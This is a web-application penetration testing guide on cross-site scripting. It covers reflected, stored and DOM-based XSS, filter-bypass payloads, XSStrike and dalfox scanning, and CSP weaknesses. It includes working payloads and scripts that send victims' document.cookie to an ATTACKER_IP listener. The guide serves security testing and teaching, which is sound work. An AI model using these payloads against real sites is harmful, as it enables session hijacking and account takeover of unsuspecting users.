Skip to main content

Cross-Site Scripting (XSS)

WSTG-INPVAL-01, WSTG-INPVAL-02


Understanding XSS​

XSS occurs when an application includes untrusted data in a web page without proper output encoding, allowing an attacker to inject scripts that execute in the victim's browser. Unlike server-side injection attacks, XSS executes client-side - the payload runs in the browser of whoever views the affected page.

Why it matters: XSS allows session hijacking (steal document.cookie), credential harvesting (inject fake login forms), keylogging, account takeover, and pivoting to internal network resources via the victim's browser.

XSS Types​

TypeWhere the Payload LivesWho Gets Affected
ReflectedIn the URL/request, reflected back in the immediate responseVictim must click a crafted link
StoredPersisted in the database/serverEvery user who views the affected page
DOM-basedClient-side JavaScript reads attacker data and writes it to the DOMVictim must click a crafted link; no server involvement

Stored XSS is higher severity - it affects every user and doesn't require them to click a link. Look for it in any input that gets displayed to other users (comments, profile names, messages, posts, product descriptions).


Manual Testing Approach​

Step 1: Identify reflection/storage points​

First, identify every place where user input appears in the application output.

# Inject a unique string - find where it appears in the response
curl -si "http://target.com/search?q=XSSTEST1234" | grep "XSSTEST1234"

# POST form
curl -si -X POST http://target.com/comment \
-d "comment=XSSTEST1234" | grep "XSSTEST1234"

If your string appears in the response, you have a reflection point. Now determine the context.

Step 2: Understand the context​

The context in which your input is reflected determines what payload to use. View the source:

<!-- Context 1: Inside a tag attribute -->
<input value="YOUR_INPUT">
<!-- Escape with: "><script>alert(1)</script> -->

<!-- Context 2: Inside a script block -->
<script>var name = "YOUR_INPUT";</script>
<!-- Escape with: ";alert(1)// -->

<!-- Context 3: Inside an href -->
<a href="YOUR_INPUT">click</a>
<!-- Use: javascript:alert(1) -->

<!-- Context 4: Between HTML tags (standard body) -->
<p>Hello YOUR_INPUT</p>
<!-- Use: <script>alert(1)</script> -->

Step 3: Probe for filtering​

# Basic tag test
curl -si "http://target.com/search?q=<script>alert(1)</script>" | grep -i "script"

# If script tags are filtered, try event handlers
curl -si "http://target.com/search?q=<img src=x onerror=alert(1)>" | grep -i "onerror"

# Check for HTML encoding in response
# If your < becomes &lt; the output is HTML-encoded and likely safe

Step 4: Bypass common filters​

# Case variation
<ScRiPt>alert(1)</ScRiPt>

# No closing tag
<script>alert(1)

# Alternative event handlers (when onerror is filtered)
<img src=x onload=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<details open ontoggle=alert(1)>

# No quotes
<img src=x onerror=alert(1)>

# Encoded characters
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>

# Double-encode if input is URL-decoded once
%253Cscript%253Ealert(1)%253C/script%253E

# HTML5 vectors
<svg><script>alert(1)</script></svg>
<math><mtext><table><mglyph><style><!--</style><img title="--><img src=x onerror=alert(1)>">

# Backtick in attributes (IE-specific, but worth trying)
<img src=`x` onerror=alert(1)>

Session Hijacking via XSS​

When stored or reflected XSS is confirmed, the primary exploitation goal is stealing the session cookie.

# Set up a listener on Kali to capture the cookie
nc -lvnp 8080

# XSS payload that exfiltrates document.cookie to attacker
<script>new Image().src="http://ATTACKER_IP:8080/?c="+document.cookie</script>

# Alternative using fetch (bypasses some Content-Security-Policy restrictions)
<script>fetch("http://ATTACKER_IP:8080/?c="+document.cookie)</script>

# Base64-encode the cookie to avoid special character issues
<script>fetch("http://ATTACKER_IP:8080/?c="+btoa(document.cookie))</script>
note

HttpOnly cookie flag prevents JavaScript from reading the cookie via document.cookie. If the session cookie has HttpOnly, XSS cannot directly steal it - but it can still be used for other attacks: form hijacking, keylogging, CSRF via script, webcam/mic access, or redirecting the user to a phishing page.


XSStrike - XSS Fuzzing and Exploitation​

XSStrike performs intelligent XSS payload generation, context analysis, and WAF bypass - more effective than a simple payload list.

# Install if not available
pip3 install xsstrike

# Basic reflected XSS test
python3 xsstrike.py -u "http://target.com/search?q=test"

# POST form
python3 xsstrike.py -u "http://target.com/comment" \
--data "comment=test&submit=Submit"

# Crawl the site and find XSS across all pages
python3 xsstrike.py -u "http://target.com" --crawl

# Skip DOM XSS analysis (faster)
python3 xsstrike.py -u "http://target.com/search?q=test" --skip

# Encode payloads for WAF bypass
python3 xsstrike.py -u "http://target.com/search?q=test" --encode

# With cookies (authenticated)
python3 xsstrike.py -u "http://target.com/search?q=test" \
--headers "Cookie: session=abc123"

dalfox - High-Speed XSS Scanner​

dalfox is fast, accurate, and well-suited for scanning many parameters efficiently.

# Single URL
dalfox url "http://target.com/search?q=test"

# With cookie
dalfox url "http://target.com/search?q=test" --cookie "session=abc123"

# Pipe mode - take URLs from stdin
echo "http://target.com/search?q=test" | dalfox pipe

# Scan multiple parameters
dalfox url "http://target.com/page?name=test&id=1&search=foo"

# Custom payload for exfiltration (replace with your listener URL)
dalfox url "http://target.com/search?q=test" \
--custom-payload '<script>fetch("http://ATTACKER_IP/?c="+document.cookie)</script>'

# Deep DOM analysis
dalfox url "http://target.com/search?q=test" --deep-domxss

DOM-Based XSS​

DOM XSS is harder to find because the payload never reaches the server - everything happens in the browser's JavaScript engine. The server's response is clean, but the page's JavaScript reads attacker data from the URL fragment or other sources and writes it unsafely to the DOM.

Sources (where attacker data enters):

  • document.URL
  • location.hash
  • location.search
  • document.referrer
  • postMessage data

Sinks (where it gets dangerously written):

  • innerHTML
  • document.write()
  • eval()
  • setTimeout("user_input", 100)
  • location.href = user_input
# Manual DOM XSS test - payload in URL fragment (never sent to server)
# Browse to: http://target.com/page#<img src=x onerror=alert(1)>

# Test with hash parameter
# http://target.com/page?returnUrl=javascript:alert(1)

# Grep JavaScript files for dangerous sinks
curl -s http://target.com/static/app.js | \
grep -iE "(innerHTML|document\.write|eval\(|setTimeout\(|location\.href)"

Content Security Policy (CSP) Analysis​

A well-configured CSP prevents XSS payloads from executing even when injection is possible. Analyze CSP headers before spending time on payloads.

# Check for CSP header
curl -sI http://target.com | grep -i "content-security-policy"

CSP weaknesses to look for:

WeaknessImplication
script-src * or script-src 'unsafe-inline'Any script can execute - CSP provides no protection
script-src 'unsafe-eval'eval() allowed - SSTI-to-XSS chains possible
script-src cdn.example.comIf you can influence content on cdn.example.com, CSP bypassed
No CSP header at allNo protection
default-src 'none' with narrow allowlistStrong CSP - payloads likely blocked
tip

If unsafe-inline is present in script-src, the CSP doesn't block inline scripts - your <script> tags will run. If only external scripts from specific domains are allowed, you need to find an allowed domain that hosts your payload (JSONP endpoints, CDN files you can influence).